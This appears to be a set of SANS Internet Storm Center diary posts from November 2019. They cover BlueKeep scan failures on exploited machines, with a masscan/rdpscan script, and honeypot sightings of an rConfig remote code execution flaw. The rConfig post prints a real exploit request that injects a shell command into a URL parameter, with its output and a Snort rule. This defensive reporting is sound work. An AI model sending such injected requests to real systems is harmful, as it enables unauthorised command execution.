Shown above: Alerts from an Any.Run sandbox analysis of the infection indicating this is Formbook.

Final words

Any.Run's sandbox analysis of the RTF document and the resulting Formbook infection can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 5.

ISC Stormcast For Tuesday, November 5th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6738, (Tue, Nov 5th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 5.

Bluekeep exploitation causing Bluekeep vulnerability scan to fail, (Tue, Nov 5th)

I woke up this morning to the long anticipated news that Bluekeep exploitation is happening in the wild.  As some of you may recall, back in August I wrote a diary demonstrating a way to scan for Bluekeep vulnerable devices.  So the next thing I did was check my Bluekeep scan results and was presented with this graph.

It appeared that not only was exploitation nearly 100% successful, but that the exploit was patching against the Bluekeep vulnerability presumably to prevent subsequent exploits from taking over the machine.  

As the day went on I was able to review some the the research about this exploit that had been published over the last couple of days.  Some here.  They all say similar things; Monero miner running out of C:\Windows\System32\spool\svchost.exe etc., but no mention of disabling the vulnerability.  I contacted a couple of researcher friends and they confirmed that they were not seeing the vulnerable RDP disappearing after exploitation.

As detailed in my August 6 diary, my Bluekeep scan script works in two stages:

  1. masscan is run against the RDP port (3389/TCP) across the IP ranges to find devices with exposed RDP ports
  2. rdpscan is run against any devices found by step 1 to determine if the exposed RDP is vulnerable to Bluekeep

A little digging and I discovered that masscan was no longer detecting the open RDP sessions on the vulnerable, and presumable exploited, devices.  Running nmap against the same devices detected the open RDP port.

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=something.something.something
| Not valid before: 2019-10-11T18:16:43
|_Not valid after:  2020-04-11T18:16:43
|_ssl-date: 2019-11-04T16:56:40+00:00; 0s from scanner time.

I was at a loss.  Then one of my colleagues Mo suggested, that if the exploited device is running a Monero miner, the substantial increase in CPU may be causing the device to respond to the probe slower and perhaps masscan is timing out before a response is received.

By default masscan waits 10 seconds for a response.  Increase that timeout to 30 seconds:

/usr/bin/masscan -p3389 -v --wait 30 <IP>

and masscan is able to discover the exposed, and presumably exploited, Bluekeep vulnerable RDP ports.

Just goes to show that you can't always trust your tools when conditions change.

The improved Bluekeep scan script should be:

-----

#!/bin/bash

#create a date parameter for the various files so scans run on different dates don't overwrite each other.

TDATE=`date +%Y%m%d`

 

# put your IPs or IP ranges you would like to scan in scan_ips.txt 

# this will be used as the input to masscan

# the output file is rdpips-<DATE>.txt

echo "executing masscan"

/usr/bin/masscan -p3389 --wait 30 -v -iL scan_ips.txt > rdpips-$TDATE.txt

 

#the output from the masscan will be used as the input to rdpscan

#the output file will be RDP_results-<DATE>.txt

echo "executing rdpscan"

rdpscan --file rdpips-$TDATE.txt > RDP_results-$TDATE.txt

-----

I am not sure if there is a mechanism here that could be used to reliably detect exploited devices.  But maybe.

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 4.

rConfig Install Directory Remote Code Execution Vulnerability Exploited, (Mon, Nov 4th)

Last week, Askar from Shells.Systems published two remote code execution (RCE) vulnerabilities in rConfig [1]. The blog post included details about these vulnerabilities and proof of concept code. Both vulnerabilities are trivially exploited by adding shell commands to specific URLs, and one of the vulnerabilities does not require authentication.

My next step was our honeypot logs. I was somewhat surprised that I saw pretty active exploitation of the vulnerability. The exploits came from over 300 different sources at that point, and still kept coming in at a pretty steady pace. But only one particular exploit string was used. The exploit only verifies if a system is vulnerable. These exploit attempts did not originate from a known security company or research effort. I checked a couple of the IPs scanning my honeypots, and the web servers I found had a variety of more or less default configured tools that are likely vulnerable as well. I assume that a botnet is used to scan for the vulnerability, and the origin hosts have been infected themselves.


Figure 1: Geographic distribution of scanning hosts.

Example exploit attempt:

GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Becho%20-n%20HellorConfig%7Cmd5sum%20%23

The exploit attempt sends the string "HellorConfig" to "md5sum". This is likely done to check if the vulnerable systems returns the output of the command. The output from my test system:

{"phpSafeMode":"Pass - php safe mode is off<\/strong><\/font>
","rootDetails":"The root details provided have not passed: a42e705f4cade6b3e84b99b0e0400e74 -<\/strong><\/font>
"}

So it looks like we got all the pieces in place for a major security issue. Next, I did a bit of research on rConfig itself. I went to the website distributing it [2]. It looked reasonably well done, and offers the free version of rConfig, as well as a paid support option and teases an upcoming new release. But it wasn't exactly straight forward to find a contact address. I had a bit more luck with the GitHub repository [3]. This is also where I got some indicators that rConfig isn't necessarily all that popular. The last update appeared over a year ago, and even before that, things look sparse. The author also left a note that "I am no longer fixing bugs on rConfig version 3.x. I will manage PRs.". 

Next, I installed the tool in a virtual machine. The install process worked fine (and appeared to be quite complex). At the end, the software was configured via a web-based "install" tool. This tool is also where the pre-authentication vulnerability happens. However: rConfig requires that this install directory is deleted after the install is complete. So in short: You are not vulnerable if you completed the install. This reduces the risk significantly.

So in short: probably not a big deal.

My advice: It doesn't look like rConfig is currently maintained (at leas the version offered for download right now). I would stay away from it. And tools like this should NEVER be exposed to the public internet.

and finally a quick snort rule:

alert tcp $EXTERAL_NET any -> $HOME_NET 80 (msg: "rConfig Remote Code Execution"; sid: 1500123; uricontent: "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=|3b|";)

[1] https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
[2] https://www.rconfig.com/
[3] https://github.com/rconfig

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.